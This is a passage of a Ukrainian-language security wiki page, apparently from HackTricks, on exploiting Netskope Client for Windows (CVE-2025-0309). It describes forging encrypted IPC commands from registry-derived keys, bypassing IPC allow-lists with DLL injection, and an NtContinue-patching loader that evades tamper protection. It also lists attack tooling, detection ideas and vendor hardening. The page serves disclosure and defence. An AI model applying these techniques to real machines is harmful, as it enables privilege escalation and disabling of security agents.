від значень у реєстрі, що читаються будь‑яким користувачем: +- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID + +Атакуючі можуть відтворити шифрування і відправляти валідні зашифровані команди від імені стандартного користувача. Загальна порада: якщо агент раптом “encrypts” свій IPC, шукайте device IDs, product GUIDs, install IDs під HKLM як матеріал для ключів. + +--- +## 4) Bypassing IPC caller allow‑lists (path/name checks) + +Деякі сервіси намагаються аутентифікувати пір шляхом резолвінгу PID TCP‑з’єднання і порівняння image path/name з allow‑listed vendor binaries у Program Files (наприклад, stagentui.exe, bwansvc.exe, epdlp.exe). + +Два практичні обхідні шляхи: +- DLL injection в allow‑listed процес (наприклад, nsdiag.exe) та проксування IPC зсередини нього. +- Spawn allow‑listed binary у suspended стані і bootstrap ваш proxy DLL без CreateRemoteThread (див. §5), щоб задовольнити driver‑enforced tamper правила. + +--- +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch + +Продукти часто постачають minifilter/OB callbacks driver (наприклад, Stadrv), щоб прибирати небезпечні права з handles до захищених процесів: +- Process: видаляє PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME +- Thread: обмежує до THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE + +Надійний user‑mode loader, що поважає ці обмеження: +1) CreateProcess vendor binary з CREATE_SUSPENDED. +2) Отримайте handles, які вам ще дозволені: PROCESS_VM_WRITE | PROCESS_VM_OPERATION на процесі, і thread handle з THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (або просто THREAD_RESUME, якщо ви патчите код у відомому RIP). +3) Перезапишіть ntdll!NtContinue (або інший ранній, гарантовано‑маплений thunk) маленьким stub, що викликає LoadLibraryW з вашим шляхом до DLL, потім повертає виконання назад. +4) ResumeThread, щоб запустити ваш stub в процесі і завантажити вашу DLL. + +Оскільки ви ніколи не використовували PROCESS_CREATE_THREAD або PROCESS_SUSPEND_RESUME на вже‑захищеному процесі (ви його створили), політика драйвера задовольняється. + +--- +## 6) Practical tooling +- NachoVPN (Netskope plugin) автоматизує rogue CA, malicious MSI signing і подає необхідні endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope — кастомний IPC client, що формує arbitrary (опційно AES‑encrypted) IPC messages і включає suspended‑process injection, щоб походити від allow‑listed binary. + +--- +## 7) Detection opportunities (blue team) +- Monitor additions до Local Machine Trusted Root. Sysmon + registry‑mod eventing (див. SpecterOps guidance) працюють добре. +- Flag MSI executions, ініційовані service агента з шляхів на кшталт C:\ProgramData\\\data\*.msi. +- Переглядайте agent logs на предмет unexpected enrollment hosts/tenants, наприклад: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – шукайте addonUrl / tenant anomalies і provisioning msg 148. +- Alert на localhost IPC clients, які не є expected signed binaries або походять з дивних дерев дочірніх процесів. + +--- +## Hardening tips for vendors +- Bind enrollment/update hosts до strict allow‑list; reject untrusted domains у clientcode. +- Authenticate IPC peers через OS primitives (ALPC security, named‑pipe SIDs) замість перевірок image path/name. +- Тримайте secret material поза world‑readable HKLM; якщо IPC має бути encrypted, виводьте keys з protected secrets або домовляйтеся через authenticated channels. +- Розглядайте updater як supply‑chain surface: вимагайте повний chain до trusted CA, яку ви контролюєте, перевіряйте package signatures проти pinned keys і fail closed, якщо валідація відключена в конфігурації. + +## References +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) + +{{#include ../../banners/hacktricks-training.md}}